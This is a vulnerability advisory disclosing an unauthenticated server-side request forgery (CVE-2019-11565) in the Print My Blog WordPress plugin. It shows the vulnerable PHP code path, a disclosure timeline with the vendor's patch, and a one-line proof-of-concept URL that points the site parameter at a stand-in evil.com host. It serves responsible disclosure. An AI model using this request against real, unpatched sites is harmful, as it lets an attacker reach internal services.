_ _
/ | _| |_ _ _____ ___ ___ ___ ___ ___
_ / / | . | | | | . | _| . | _| -_|
|_|_/ |___|___|_|_|_| _|___|___|_| |___|
|_|
2019-04-27
SSRF in 'print my blog' WordPress plugin
========================================
CVE-2019-11565
Title says it all - unauthenticated Server Side Request Forgery
(SSRF) vulnerability in the Print My Blog[1] version 1.6.5 and
probably earlier as well. A general description of SSRF can be
found on OWASP's wiki[4].
# Proof of Concept Exploit
The issue can be triggered by browsing:
http://victim.com/?print-my-blog=1&site=http://evil.com/
# Details
The wp_remote_get()[2] function is called with an attacker
controllable URL, resulting in unauthenticated SSRF. By setting
up a malicious web server, the SSRF can be further chained to
launch a reflected XSS attack. I'll leave it up to the reader
to figure out how.
includes/controllers/PmbFrontend.php:
34 public function templateRedirect($template)
35 {
36
37 if (isset($_GET[PMB_PRINTPAGE_SLUG])) {
38 try {
39 $site_info = new RestApiDetector($this->getFromRequest('site', ''));
..
248 protected function getFromRequest($query_param_name, $default) {
249 return isset($_GET[$query_param_name]) ? $_GET[$query_param_name] : $default;
250 }
In PmbFrontend.php, a new instance of the RestApiDetector class
is instantiated with the argument of user controllable input,
as shown on line 39-249 above.
includes/vendor/mnelson4/RestApiDetector/RestApiDetector.php:
17 class RestApiDetector
18 {
19 protected $site;
..
31 public function __construct($site)
32 {
33 $this->setSite($site);
34 $this->getSiteInfo();
35 }
..
43 public function getSiteInfo()
44 {
45 // check for a site request param
46 if(empty($this->getSite())){
47 $this->setName(get_bloginfo('name'));
48 $this->setDescription(get_bloginfo('description'));
49 $this->setRestApiUrl(get_rest_url());
50 $this->setSite(get_bloginfo('url'));
51 $this->setLocal(true);
52 return;
53 }
54 // If they forgot to add http(s), add it for them.
55 if(strpos($this->getSite(), 'http://') === false && strpos($this->getSite(), 'https://') === false) {
56 $this->setSite( 'http://' . $this->getSite());
57 }
58 // if there is one, check if it exists in wordpress.com, eg "retirementreflections.com"
59 $site = trailingslashit(sanitize_text_field($this->getSite()));
60
61
62 // Let's see if it's self-hosted...
63 $data = $this->getSelfHostedSiteInfo($site);
..
85 protected function getSelfHostedSiteInfo($site){
86 $response = $this->sendHttpGetRequest($site);
..
180 protected function sendHttpGetRequest($url)
181 {
182 return wp_remote_get(
183 $url,
184 [
185 'timeout' => 30,
186 'sslverify' => false,
187 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0'
188 ]
189 );
190 }
The argument is set in RestApiDetector's site variable, that gets
used as argument to wp_remote_get()[1] on line 182 above.
# Proof of discovery
$ echo 'http://http://172.16.34.134/wordpress/?print-my-blog=1&site=http://127.0.0.1/' | sha256sum
34bb3534ec1107dcbe0882251c2ec045de289b4560249c77980cdf9ca436fd4f -
https://twitter.com/magnusstubman/status/1121734829878513665
# Timeline
2019-04-25 Discovery and vendor notification
2019-04-26 Vendor released patch[3]
2019-04-27 CVE-2019-11565 assigned[5]
2019-05-07 Vendor posted a blog post about the bug and the disclosure process[6]
# References
1: https://wordpress.org/plugins/print-my-blog
2: https://developer.wordpress.org/reference/functions/wp_remote_get/
3: https://plugins.trac.wordpress.org/changeset?old_path=%2Fprint-my-blog%2Ftrunk&old=2075667&new_path=%2Fprint-my-blog%2Ftrunk&new=2075667&
4: https://www.owasp.org/index.php/Server_Side_Request_Forgery
5: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11565
6: https://cmljnelson.wordpress.com/2019/05/07/print-my-blog-plugin-transparency-report-french-ssrf-fix-improved-json-parsing/